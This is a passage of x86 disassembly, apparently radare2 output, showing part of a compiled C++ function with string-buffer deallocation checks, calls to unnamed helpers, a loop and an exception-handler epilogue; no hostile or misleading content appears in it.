inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44686f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x446a80
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x1f8]
cmp ecx, 0x10
jb 0x4468d2
mov edx, dword [ebp - 0x20c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4468c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x446a80
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov esi, dword [ebp - 0x10c]
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
jmp 0x4466d7
mov ecx, dword [ebp - 0x108]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x10c]
sub ecx, esi
mov edi, dword [ebp - 0x30]
add dword [ebp - 0x10], 0x18
inc edi
imul ecx
mov ecx, dword [ebp - 0x10]
sar edx, 2
mov eax, edx
mov dword [ebp - 0x30], edi
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x4465a0
sub esp, 0xc
lea eax, [ebp - 0x10c]
mov ecx, esp
mov dword [ebp - 0x218], esp
push eax
call fcn.0045e2a0
mov byte [ebp - 4], 0x1b
sub esp, 0xc
lea eax, [ebp - 0x234]
mov dword [ebp - 0x214], esp
mov ecx, esp
push eax
call fcn.0045e2a0
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x164]
mov esi, dword [ebp - 0x160]
push eax
sub esp, 0x18
shl esi, 0xa
lea eax, [ebp + 8]
mov dword [ebp - 0x210], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x1d
sub esp, 0x18
lea eax, [ebp - 0x84]
mov dword [ebp - 0x238], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0xa
mov edx, esi
mov cl, byte [ebp - 0x14]
call fcn.004447f0
add esp, 0x4c
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x10c]
call fcn.004612b0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x234]
call fcn.004612b0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x84]
call fcn.00402890
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x328]
call fcn.00402890
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x340]
call fcn.00402890
mov eax, dword [ebp - 0x12c]
movzx eax, byte [eax]
sub eax, 1
je 0x446a26
sub eax, 1
je 0x446a1d
inc dword [ebp - 0x120]
jmp 0x446a40
add dword [ebp - 0x124], 0x10
jmp 0x446a40
mov eax, dword [ebp - 0x128]
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], eax
call fcn.004608e0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x12c]
call fcn.0045c540
test al, al
je 0x446a61
mov edi, dword [ebp - 0x100]
jmp 0x445631
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004d51a0
int3